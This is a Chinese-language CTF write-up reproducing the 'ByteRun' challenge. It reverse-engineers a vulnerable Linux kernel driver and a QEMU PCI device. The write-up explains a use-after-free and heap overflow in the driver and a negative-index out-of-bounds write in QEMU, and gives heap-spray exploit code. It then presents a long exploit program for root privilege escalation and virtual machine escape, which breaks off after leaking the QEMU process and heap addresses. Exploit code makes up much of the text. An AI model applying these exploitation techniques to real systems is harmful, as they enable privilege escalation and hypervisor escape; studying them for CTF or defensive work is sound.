ByteRun复现
196082 慢慢好起来

当初看到墨晚鸢大佬的博客对这道题目的描述的时候就对这道题暗生情愫了,如今终于是得以复现。

内核分析

函数分析

这道题目要说难也算难,要说简单那就是说屁话。这道题可以说是从逆向就开始变得不对劲起来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
void __fastcall bytedev_read(__int64 a1, __int64 user_buf)
{
unsigned __int64 v2; // rdx
unsigned __int64 a3; // r14
__int64 v4; // rbx
__int64 v5; // r12
unsigned __int32 v6; // eax
__int64 v7; // r13
__int64 idx; // rax
__int64 offset; // rbp
unsigned __int16 *v10; // r8
__int64 read_size; // rdx
unsigned __int64 remaining_size; // rbx
__int64 read_chunk_pos; // r15
__int64 v14; // rax
__int64 v15; // rcx
__int64 v16; // rbp
__int64 v17; // rdx
unsigned __int32 v18; // eax
unsigned __int32 v19; // eax
__int64 v20; // rbx
_WORD *chunk; // [rsp+10h] [rbp-38h]

_fentry__(a1, user_buf);
a3 = v2;
v4 = *(_QWORD *)(a1 + 0xC8);
v5 = v4 + 40;
raw_spin_lock(v4 + 40);
v6 = __indword(*(_QWORD *)(v4 + 0x20));
if ( !v6 )
{
v7 = *(_QWORD *)(a1 + 0xC8);
idx = *(int *)(v7 + 0xB0);
if ( (_DWORD)idx != *(_DWORD *)(v7 + 0xB4) )
{
offset = 0LL;
if ( a3 )
{
while ( 1 )
{
v10 = *(unsigned __int16 **)(v7 + 8 * idx + 0x30);
read_size = v10[1];
remaining_size = *v10 - (unsigned int)read_size;
read_chunk_pos = (__int64)v10 + read_size + 4;
if ( remaining_size > a3 )
remaining_size = a3; // current_read_size
if ( (remaining_size & 0x80000000) != 0LL )
BUG();
chunk = *(_WORD **)(v7 + 8 * idx + 0x30);
_check_object_size((char *)v10 + read_size + 4, remaining_size, 1LL);
if ( copy_to_user(offset + user_buf, read_chunk_pos, remaining_size) )
break;
a3 -= remaining_size;
offset += remaining_size;
v14 = (unsigned __int16)(remaining_size + chunk[1]);
chunk[1] += remaining_size;
if ( (_WORD)v14 == *chunk )
{
if ( (_WORD)v14 != 0xFFC )
goto LABEL_21;
kfree(chunk);
*(_DWORD *)(v7 + 0xB0) = (*(_DWORD *)(v7 + 0xB0) + 1) % 0x10;
}
if ( a3 )
{
idx = *(int *)(v7 + 0xB0);
if ( (_DWORD)idx != *(_DWORD *)(v7 + 0xB4) )
continue;
}
goto LABEL_21;
}
printk(&unk_F90);
}
}
goto LABEL_21;
}
if ( v6 != 1 )
{
printk(&unk_1038);
LABEL_21:
raw_spin_unlock(v5);
return;
}
v15 = *(_QWORD *)(a1 + 0xC8);
v16 = 0x200LL;
if ( a3 <= 0x200 )
v16 = a3;
v17 = *(_QWORD *)(v15 + 0x20);
v18 = __indword(v17);
if ( v18 == 1 )
{
v19 = __indword(v17 + 2);
if ( v19 == 2 )
{
v20 = *(_QWORD *)(v15 + 0x18);
_check_object_size(v20, v16, 1LL);
if ( copy_to_user(user_buf, v20, v16) )
printk(&unk_1010);
}
else
{
printk(&unk_FF0);
}
goto LABEL_21;
}
bytedev_read_cold_14();
}

可以看到在驱动的这个read函数中被分为了两块,在下半部分可以看到一直使用的是__indword函数,而这个是对于设备的IO操作,所以下半部分就是对于设备的控制,上半部分则是对于内核中自身的操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
__int64 __fastcall bytedev_write(__int64 a1, __int64 a2)
{
unsigned __int64 v2; // rdx
unsigned __int64 a3; // rbp
__int64 v4; // rbx
unsigned __int32 v5; // eax
__int64 v6; // r14
int idx; // r9d
int read_idx; // esi
int v9; // eax
__int64 v10; // r15
int v11; // edx
__int64 v12; // rax
unsigned __int64 remaining_size; // rbx
__int64 v14; // rax
_WORD *chunk; // r13
__int64 user_buf; // r12
__int64 write_offset; // rax
__int64 v18; // r13
_DWORD *v19; // rbx
__int64 v20; // rcx
__int64 v21; // rsi
__int64 v22; // rdx
unsigned __int32 v23; // eax
unsigned __int32 v24; // eax
__int64 v25; // rbx
_WORD *v27; // rax
_WORD *v28; // rdx
__int64 v30; // [rsp+8h] [rbp-40h]
int v31; // [rsp+8h] [rbp-40h]
__int64 v32; // [rsp+10h] [rbp-38h]

((void (*)(void))_fentry__)();
a3 = v2;
v4 = *(_QWORD *)(a1 + 0xC8);
v32 = v4 + 0x28;
raw_spin_lock(v4 + 0x28);
v5 = __indword(*(_QWORD *)(v4 + 0x20));
if ( v5 )
{
if ( v5 == 1 )
{
v20 = 0x200LL;
v21 = *(_QWORD *)(a1 + 0xC8);
if ( a3 <= 0x200 )
v20 = a3;
v22 = *(_QWORD *)(v21 + 0x20);
v10 = v20;
v23 = __indword(v22);
if ( v23 == 1 )
{
v24 = __indword(v22 + 2);
if ( v24 == 2 )
{
v25 = *(_QWORD *)(v21 + 0x18);
_check_object_size(v25, v20, 0LL);
if ( copy_from_user(v25, a2, v10) )
{
v10 = -14LL;
printk(&unk_1090);
}
}
else
{
v10 = -14LL;
printk(&unk_FF0);
}
}
else
{
v10 = -14LL;
printk(&unk_FC0);
}
}
else
{
v10 = -14LL;
printk(&unk_1038);
}
}
else
{
v6 = *(_QWORD *)(a1 + 0xC8);
idx = *(_DWORD *)(v6 + 0xB4);
read_idx = *(_DWORD *)(v6 + 0xB0);
v9 = idx + 1;
if ( (idx + 1) % 16 != read_idx
|| (v28 = *(_WORD **)(v6 + 8LL * idx + 0x30)) == 0LL
|| (v10 = -14LL, *v28 <= 0xFFBu) )
{
v10 = 0LL;
if ( a3 )
{
while ( 1 )
{
if ( v9 % 16 == read_idx )
{
v27 = *(_WORD **)(v6 + 8LL * idx + 0x30);
if ( v27 )
{
if ( *v27 > 0xFFBu )
break;
}
}
chunk = *(_WORD **)(v6 + 8LL * ((idx + 0xF) % 16) + 0x30);
user_buf = a2 + v10;
if ( chunk && (write_offset = (unsigned __int16)*chunk, (_WORD)write_offset != 0xFFC) )
{
v11 = (unsigned __int16)write_offset;
v12 = (__int64)chunk + write_offset + 4;
remaining_size = (unsigned int)(0xFFC - v11);
if ( remaining_size > a3 )
remaining_size = a3;
if ( (remaining_size & 0x80000000) != 0LL )
BUG();
v30 = v12;
_check_object_size(v12, remaining_size, 0LL);
v14 = copy_from_user(v30, user_buf, remaining_size);
if ( v14 )
{
v10 = v14;
printk(&unk_1060);
break;
}
*chunk += remaining_size;
a3 -= remaining_size;
v10 += remaining_size;
}
else
{
v31 = idx;
v18 = 0xFFCLL;
v19 = (_DWORD *)kmem_cache_alloc_trace(kmalloc_caches[26], 0x400CC0LL, 0x1000LL);
*(_QWORD *)(v6 + 8LL * v31 + 0x30) = v19;
if ( a3 <= 0xFFC )
v18 = a3;
*(_DWORD *)(v6 + 0xB4) = (*(_DWORD *)(v6 + 0xB4) + 1) % 16;
*v19 = 0;
_check_object_size(v19 + 1, v18, 0LL);
if ( copy_from_user(v19 + 1, user_buf, v18) )
return ((__int64 (*)(void))bytedev_write_cold_15)();
a3 -= v18;
*(_WORD *)v19 += v18;
v10 += v18;
}
if ( !a3 )
break;
idx = *(_DWORD *)(v6 + 0xB4);
read_idx = *(_DWORD *)(v6 + 0xB0);
v9 = idx + 1;
}
}
}
}
raw_spin_unlock(v32);
return v10;
}

这里write的做法跟read类似,依旧可以分为两个部分。通过我上面修改的变量名称其实也就可以很好的推断出来实际的结构了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ptr {
0xC8 : manager_object
}

manager_object {
(0x30 + idx * 0x8) : each_data
0xB0 : read_idx
0xB4 : write_idx
}

each_data {
0x0 : write_size
0x2 : read_size
0x40xfff : content
}

也就是类似于上述这样的结构。这里的漏洞主要发生于read中,可以看到在已经读取的size为0xffc时则会free掉响应的object但是,实际的指针并没有被清除,这样也就造成了UAF。

1
2
3
4
5
6
7
8
9
10
11
12
chunk = *(_WORD **)(v6 + 8LL * ((idx + 0xF) % 16) + 0x30);
......
if ( chunk && (write_offset = (unsigned __int16)*chunk, (_WORD)write_offset != 0xFFC) )
{
......
}
else
{
......
*(_DWORD *)(v6 + 0xB4) = (*(_DWORD *)(v6 + 0xB4) + 1) % 16;
......
}

并且在write函数中虽然在第一次写入的时候会修改write_idx为1但是在第二次调用的时候会加上0xf随即和16取余,而这也就等价于对write_idx减一的操作,也就以为着我们仍然可以对刚创建的object进行使用。不过前提是还需要绕过这个if语句,当然绕过的方式也是十分简单,这里使用sk_buff进行堆喷即可并且如果write_size我们修改为比0xffc大的数字还可造成堆溢出。

利用分析

这里的利用方式依旧采用CVE-2021-22555进行利用,不熟悉的朋友可以去查看我先前对这一利用方法的分析。

因为利用方法以往已经分析过了所以这里只对如何达到上述利用的条件做分析。

这里又一次不得不提到一个常用的结构体msg_msg了。

1
2
3
4
5
6
7
8
9
10
11
12
13
struct msg_msg
{
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
void *next; /* struct msg_msgseg *next; */
void *security; /* NULL without SELinux */
/* the actual message follows immediately */
};
struct list_head
{
struct list_head *next, *prev;
};

然后就是我们熟悉的关于msg_msgmsg_queue之间的结构为一个双向链表结构,并且结合linux源码可以看到寻找消息的过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static struct msg_msg *find_msg(struct msg_queue *msq, long *msgtyp, int mode)
{
struct msg_msg *msg, *found = NULL;
long count = 0;

list_for_each_entry(msg, &msq->q_messages, m_list) {
if (testmsg(msg, *msgtyp, mode) &&
!security_msg_queue_msgrcv(&msq->q_perm, msg, current,
*msgtyp, mode)) {
if (mode == SEARCH_LESSEQUAL && msg->m_type != 1) {
*msgtyp = msg->m_type - 1;
found = msg;
} else if (mode == SEARCH_NUMBER) {
if (*msgtyp == count)
return msg;
} else
return msg;
count++;
}
}

return found ?: ERR_PTR(-EAGAIN);
}
1
2
3
4
5
6
#define list_for_each_entry(pos, head, member)				\
for (pos = list_first_entry(head, typeof(*pos), member); \
!list_entry_is_head(pos, head, member); \
pos = list_next_entry(pos, member))
#define list_first_entry(ptr, type, member) \
list_entry((ptr)->next, type, member)

可以发现使用next指针进行寻找的,那么根据在vuln driver中存在的漏洞就是堆溢出,所以理所当然的就能够想到通过堆溢出修改紧邻的primary msg_msg结构体的next指针指向随机一个seconday msg_msg即可造成两个指针指向通过一个object的情况。那么如果我们这时通过原本指向的secondary msg_msgprimary msg_msgmsg_queue进行索引去msgrcv的话即可释放掉secondary msg_msg,但是还存在一个被堆溢出修改的primary msg_msg的next指针依旧指向secondary msg_msg那么我们仍然可以通过被破坏的primary msg_msg去索引到已经被free掉的secondary msg_msg。这也就造成了我们所期盼的UAF了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
for (int i = 0; i < MSG_QUEUE_NUM; i++)
{
*(int *)&primary_msg.mtext[0] = MSG_TAG;
*(int *)&primary_msg.mtext[4] = i;
if (msgsnd(msqid[i], &primary_msg,
sizeof(primary_msg) - 8, 0) < 0)
{
errExit("failed to send primary msg!");
}

*(int *)&secondary_msg.mtext[0] = MSG_TAG;
*(int *)&secondary_msg.mtext[4] = i;
if (msgsnd(msqid[i], &secondary_msg,
sizeof(secondary_msg) - 8, 0) < 0)
{
errExit("failed to send secondary msg!");
}
}

for (int i = 0; i < MSG_QUEUE_NUM; i += 1024)
{
if (msgrcv(msqid[i], &primary_msg, sizeof(primary_msg) - 8, PRIMARY_MSG_TYPE, 0) < 0)
{
errExit("failed to receive primary msg!");
}
}
memset(buf, 0x84, 0x1000);
write(fd, buf, 0xffc);
read(fd, buf, 0xffc);
memset(buf, 0, 0x1000);
*(unsigned short *)buf = 0xffd;
for (int i = 0; i < SOCKET_NUM; i++)
{
for (int j = 0; j < SK_BUFF_NUM; j++)
{
if (write(sk_sockets[i][0], buf, 0x1000 - 0x140) < 0)
{
errExit("failed to spray sk_buff!");
}
}
}
memset(buf, 0xa0, 0x1000);
write(fd, buf, 1);

上述代码就是产生漏洞利用条件的攻击代码片段。

QEMU分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
struct pci_driver {
struct list_head node;
const char *name;
const struct pci_device_id *id_table;
int (*probe) (struct pci_dev *dev, const struct pci_device_id *id); /* New device inserted */
void (*remove) (struct pci_dev *dev); /* Device removed (NULL if not a hot-plug capable driver) */
int (*suspend) (struct pci_dev *dev, pm_message_t state); /* Device suspended */
int (*suspend_late) (struct pci_dev *dev, pm_message_t state);
int (*resume_early) (struct pci_dev *dev);
int (*resume) (struct pci_dev *dev); /* Device woken up */
void (*shutdown) (struct pci_dev *dev);
int (*sriov_configure) (struct pci_dev *dev, int num_vfs); /* PF pdev */
const struct pci_error_handlers *err_handler;
struct device_driver driver;
struct pci_dynids dynids;

};

首先使用_pci_register_driver函数注册一个设备驱动,上述就是对应的结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
.data:0000000000001E00 00                            bytedev_driver db    0                  ; DATA XREF: init_module+132↑o
.data:0000000000001E00 ; cleanup_module+2B↑o
.data:0000000000001E01 00 db 0
.data:0000000000001E02 00 db 0
.data:0000000000001E03 00 db 0
.data:0000000000001E04 00 db 0
.data:0000000000001E05 00 db 0
.data:0000000000001E06 00 db 0
.data:0000000000001E07 00 db 0
.data:0000000000001E08 00 db 0
.data:0000000000001E09 00 db 0
.data:0000000000001E0A 00 db 0
.data:0000000000001E0B 00 db 0
.data:0000000000001E0C 00 db 0
.data:0000000000001E0D 00 db 0
.data:0000000000001E0E 00 db 0
.data:0000000000001E0F 00 db 0
.data:0000000000001E10 03 0C 00 00 00 00 00 00 dq offset aBytedev ; "bytedev"
.data:0000000000001E18 00 13 00 00 00 00 00 00 dq offset bytedev_ids
.data:0000000000001E20 95 06 00 00 00 00 00 00 dq offset bytedev_pci_probe
.data:0000000000001E28 C0 00 00 00 00 00 00 00 dq offset bytedev_pci_remove

在内存中就是这样,在注册函数中会调用bytedev_pci_probe函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
__int64 __fastcall bytedev_pci_probe(__int64 a1)
{
unsigned int v1; // r13d
__int64 v3; // rax
__int64 v4; // rbx
__int64 v5; // rax
__int64 i; // rax
unsigned int v7; // r12d
unsigned __int64 v8; // rax
__int64 v9; // rcx
_DWORD *v10; // rdi
__int64 v12[14]; // [rsp+0h] [rbp-70h] BYREF

_fentry__();
v1 = -12;
v12[8] = __readgsqword(0x28u);
printk(&unk_DC8);
v3 = kmem_cache_alloc_trace(kmalloc_caches[2], 0xDC0LL, 0xB8LL);
if ( v3 )
{
*(_QWORD *)(a1 + 0x148) = v3;
v4 = v3;
v1 = pci_enable_device(a1);
if ( v1 )
{
printk(&unk_DF8);
LABEL_31:
kfree(v4);
return v1;
}
if ( (*(_BYTE *)(a1 + 0x3D1) & 2) == 0 )
{
v1 = -19;
printk(&unk_E28);
LABEL_30:
pci_disable_device(a1);
goto LABEL_31;
}
if ( (*(_BYTE *)(a1 + 0x411) & 1) == 0 )
{
v1 = -19;
printk(&unk_E70);
goto LABEL_30;
}
v1 = pci_request_regions(a1, "ByteDance-CTFDevice");
if ( v1 )
{
printk(&unk_EB8);
goto LABEL_30;
}
v5 = pci_ioremap_bar(a1, 0LL);
*(_QWORD *)(v4 + 0x18) = v5;
if ( !v5 )
{
v1 = -12;
printk(&unk_EE0);
LABEL_29:
pci_release_regions(a1);
goto LABEL_30;
}
*(_QWORD *)(v4 + 0x20) = *(_QWORD *)(a1 + 0x3F8);
raw_spin_lock(&bytedev_lock_minor_num);
for ( i = 0LL; i != 0x100; ++i )
{
v7 = i;
if ( !bytedev_minor_num[i] )
{
bytedev_minor_num[(int)i] = 1;
goto LABEL_17;
}
}
v7 = -1;
LABEL_17:
raw_spin_unlock(&bytedev_lock_minor_num);
if ( v7 == -1 )
{
printk(&unk_F08);
LABEL_28:
pci_iounmap(a1, *(_QWORD *)(v4 + 24));
goto LABEL_29;
}
if ( v7 )
snprintf((char *)v12, 0x40uLL, "%s%d", "bytedev", v7);
else
v12[0] = 0x76656465747962LL;
v8 = device_create(bytedev_class, 0LL, v7 | (bytedev_major_num << 20), 0LL, v12);
if ( v8 > 0xFFFFFFFFFFFFF000LL )
{
v1 = v8;
printk(&unk_F30);
bytedev_set_unused_minor_num(v7);
goto LABEL_28;
}
v9 = 32LL;
v10 = (_DWORD *)(v4 + 48);
*(_DWORD *)(v4 + 40) = 0;
while ( v9 )
{
*v10++ = 0;
--v9;
}
*(_QWORD *)(v4 + 8) = a1;
*(_QWORD *)(v4 + 176) = 0LL;
*(_QWORD *)v4 = v8;
*(_DWORD *)(v4 + 16) = v7;
bytedev_arr[v7] = v4;
printk(&unk_F60);
}
return v1;
}

函数中使用了pci_request_regions对资源进行了探测和占用,导致如果直接使用用户态程序对PCI设备使用时会失败,这里如果提权成功的话可以通过卸载驱动模块来实现取消对资源的占用从而可以直接在用户态使用PCI设备。不过题目这里的驱动中已经完全包含了对PCI设备的使用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
__int64 __fastcall bytedev_ioctl(__int64 a1, __int64 a2)
{
unsigned int v2; // edx
unsigned int a3; // r13d
__int64 v4; // r12
__int64 v5; // rax
__int64 v6; // rbx
__int64 v7; // rdx
unsigned __int32 v8; // eax

_fentry__(a1, a2);
a3 = v2;
v4 = *(_QWORD *)(a1 + 0xC8);
raw_spin_lock(v4 + 0x28);
if ( (_DWORD)a2 != 0x114514 )
{
if ( (_DWORD)a2 == 0x1919810 )
{
v7 = *(_QWORD *)(v4 + 0x20);
v8 = __indword(v7);
if ( v8 == 1 )
{
__outdword(v7 + 1, a3);
v6 = 0LL;
}
else
{
v6 = -14LL;
printk(&unk_CE8);
}
}
else
{
v6 = -14LL;
printk(&unk_BD1);
}
goto LABEL_8;
}
v5 = *(_QWORD *)(__readgsqword((unsigned int)&current_task) + 0x7C0);
if ( !*(_DWORD *)(v5 + 4) && !*(_DWORD *)(v5 + 0x14) )
{
__outdword(*(_QWORD *)(v4 + 0x20), a3);
v6 = 0LL;
printk(&unk_CC0);
LABEL_8:
raw_spin_unlock(v4 + 0x28);
return v6;
}
return bytedev_ioctl_cold_12();
}

首先这里如果你想要使用PCI设备那么你必须保证一点的是ds_0->regs.mode = 1,因为所有地方都存在这个验证,所以我们首先就需要使用ioctl中__outdword(*(_QWORD *)(v4 + 0x20), a3);语句。这里最好动调一下查看一下*(_QWORD *)(v4 + 0x20)(unsigned int)&current_task) + 0x7C0到底是什么,结果会发现这里实际就是供我们修改ds_0->regs.mode的已经会验证当前是否为root权限。

函数分析

1
2
3
4
5
6
7
8
9
struct BYTEPCIDevState
{
PCIDevice_0 parent_obj;
BYTEPCIDevRegs_0 regs;
MemoryRegion_0 mmio;
MemoryRegion_0 pmio;
char *blk_mem[256];
};

还是先给一下结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
void __cdecl byte_dev_pmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
int blk_idx; // ebx
BYTEPCIDevState *ds_0; // [rsp+28h] [rbp-18h]

ds_0 = (BYTEPCIDevState *)object_dynamic_cast_assert(
(Object_0 *)opaque,
"byte_dev-pci",
"../qemu-7.0.0/hw/misc/bytedev.c",
0xA3,
"byte_dev_pmio_write");
if ( size == 4 )
{
_mm_mfence();
if ( addr )
{
if ( addr == 1 && ds_0->regs.blk_status != 1 && ds_0->regs.mode == 1 && (int)val <= 0xFF )
{
ds_0->regs.blk_idx = val;
ds_0->regs.blk_status = 1;
if ( !ds_0->blk_mem[ds_0->regs.blk_idx] )
{
blk_idx = ds_0->regs.blk_idx;
ds_0->blk_mem[blk_idx] = (char *)g_malloc(0x200LL);
}
ds_0->regs.blk_status = 2;
}
}
else if ( val <= 1 )
{
ds_0->regs.mode = val;
}
}
}

首先在qemu中的漏洞就出现在这样一个函数中,在对val的类型为int类型,所以可以为负数因为blk_mem为结构体中的一个成员导致可以向上进行溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
void __cdecl byte_dev_mmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
BYTEPCIDevState *ds_0; // [rsp+28h] [rbp-8h]

ds_0 = (BYTEPCIDevState *)object_dynamic_cast_assert(
(Object_0 *)opaque,
"byte_dev-pci",
"../qemu-7.0.0/hw/misc/bytedev.c",
107,
"byte_dev_mmio_write");
if ( ds_0->regs.mode == 1 && ds_0->regs.blk_status == 2 && size + addr <= 0x200 )
{
if ( size == 2 )
{
*(_WORD *)&ds_0->blk_mem[ds_0->regs.blk_idx][addr] = val;
}
else if ( size > 2 )
{
if ( size == 4 )
{
*(_DWORD *)&ds_0->blk_mem[ds_0->regs.blk_idx][addr] = val;
}
else if ( size == 8 )
{
*(_QWORD *)&ds_0->blk_mem[ds_0->regs.blk_idx][addr] = val;
}
}
else if ( size == 1 )
{
ds_0->blk_mem[ds_0->regs.blk_idx][addr] = val;
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
uint64_t __cdecl byte_dev_mmio_read(void *opaque, hwaddr addr, unsigned int size)
{
BYTEPCIDevState *ds_0; // [rsp+28h] [rbp-8h]

ds_0 = (BYTEPCIDevState *)object_dynamic_cast_assert(
(Object_0 *)opaque,
"byte_dev-pci",
"../qemu-7.0.0/hw/misc/bytedev.c",
87,
"byte_dev_mmio_read");
if ( ds_0->regs.mode != 1 )
return -1LL;
if ( ds_0->regs.blk_status != 2 )
return -1LL;
if ( size + addr <= 0x200 )
return *(_QWORD *)&ds_0->blk_mem[ds_0->regs.blk_idx][addr];
return -1LL;
}

根据mmio这俩函数就可以实现任意地址读写。

利用分析

这里利用方法其实挺简单的,就直接在BYTEPCIDevState结构体上找可以利用的地址计算差值即可。思路就是首先泄漏libc地址再泄漏heap地址即可。最后泄漏ops中的内容,并且伪造ops。在最后劫持ops实现栈迁移到堆地址即可完成利用。

综上,exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
#define _GNU_SOURCE
#include <err.h>
#include <inttypes.h>
#include <sched.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <stdint.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <time.h>

#define MSG_COPY 040000
#define MSG_TAG 0xAAAAAAAA
#define PRIMARY_MSG_TYPE 0x41
#define SECONDARY_MSG_TYPE 0x42

#define MSG_QUEUE_NUM 4096

#define PRIMARY_MSG_SIZE 0x1000
#define SECONDARY_MSG_SIZE 0x400
#define VICTIM_MSG_TYPE 0x1337

#define SOCKET_NUM 16
#define SK_BUFF_NUM 32
#define PIPE_NUM 256

size_t user_cs, user_ss, user_sp, user_rflags;
void save_status()
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*]status has been saved.");
}

struct list_head
{
struct list_head *next, *prev;
};

struct msg_msgseg
{
uint64_t next;
};

struct msg_msg
{
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
void *next; /* struct msg_msgseg *next; */
void *security; /* NULL without SELinux */
/* the actual message follows immediately */
};

struct pipe_buffer
{
uint64_t page;
uint32_t offset, len;
uint64_t ops;
uint32_t flags;
uint32_t padding;
uint64_t private;
};

struct pipe_buf_operations
{
uint64_t confirm;
uint64_t release;
uint64_t try_steal;
uint64_t get;
};

struct
{
long mtype;
char mtext[PRIMARY_MSG_SIZE - sizeof(struct msg_msg)];
} primary_msg;

struct
{
long mtype;
char mtext[SECONDARY_MSG_SIZE - sizeof(struct msg_msg)];
} secondary_msg;

struct
{
long mtype;
char mtext[0x1000 - sizeof(struct msg_msg) + 0x1000 - sizeof(struct msg_msgseg)];
} oob_msg;

void errExit(char *err_msg)
{
puts(err_msg);
exit(-1);
}

void get_shell()
{
if (getuid())
{
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}
printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
// system("/bin/sh");
qemu_escape();
}

void print_hex(char *buf, int size)
{
int i;
puts("======================================");
printf("data :\n");
for (i = 0; i < (size / 8); i++)
{
if (i % 2 == 0)
{
if (i / 2 < 10)
{
printf("%d ", i / 2);
}
else if (i / 2 < 100)
{
printf("%d ", i / 2);
}
else
{
printf("%d", i / 2);
}
}
printf(" %16llx", *(size_t *)(buf + i * 8));
if (i % 2 == 1)
{
printf("\n");
}
}
puts("======================================");
}

unsigned long kernel_addr;
unsigned long kernel_base;
unsigned long kernel_offset;

int fd;

int qemu_escape()
{
int fd = open("/dev/bytedev", 2);
if (fd < 0)
{
printf("open bytedev failed\n");
exit(1);
}
char *buf = malloc(0x1000);
char *fake_ops = malloc(0x1000);
puts("\n\033[34m\033[1m[*] leak process base\033[0m");

ioctl(fd, 0x114514, 1);
ioctl(fd, 0x1919810, -25);
read(fd, buf, 0x8);
uint64_t elf_base = *(uint64_t *)buf - 0x474039;
uint64_t system_addr = elf_base + 0x2e0250;
uint64_t pmio_read_addr = elf_base + 0x474039;

printf("\033[32m\033[1m[+] process base: \033[0m %p\n", elf_base);
printf("\033[32m\033[1m[+] system addr: \033[0m %p\n", system_addr);

read(fd, fake_ops, 0x100);

puts("");
puts("\n\033[34m\033[1m[*] leak heap base\033[0m");

ioctl(fd, 0x1919810, -0x186);
read(fd, buf, 0x8);
uint64_t heap_base = *(uint64_t *)buf - 0x2ae00;
uint64_t parent_object = heap_base + 0x9f650;
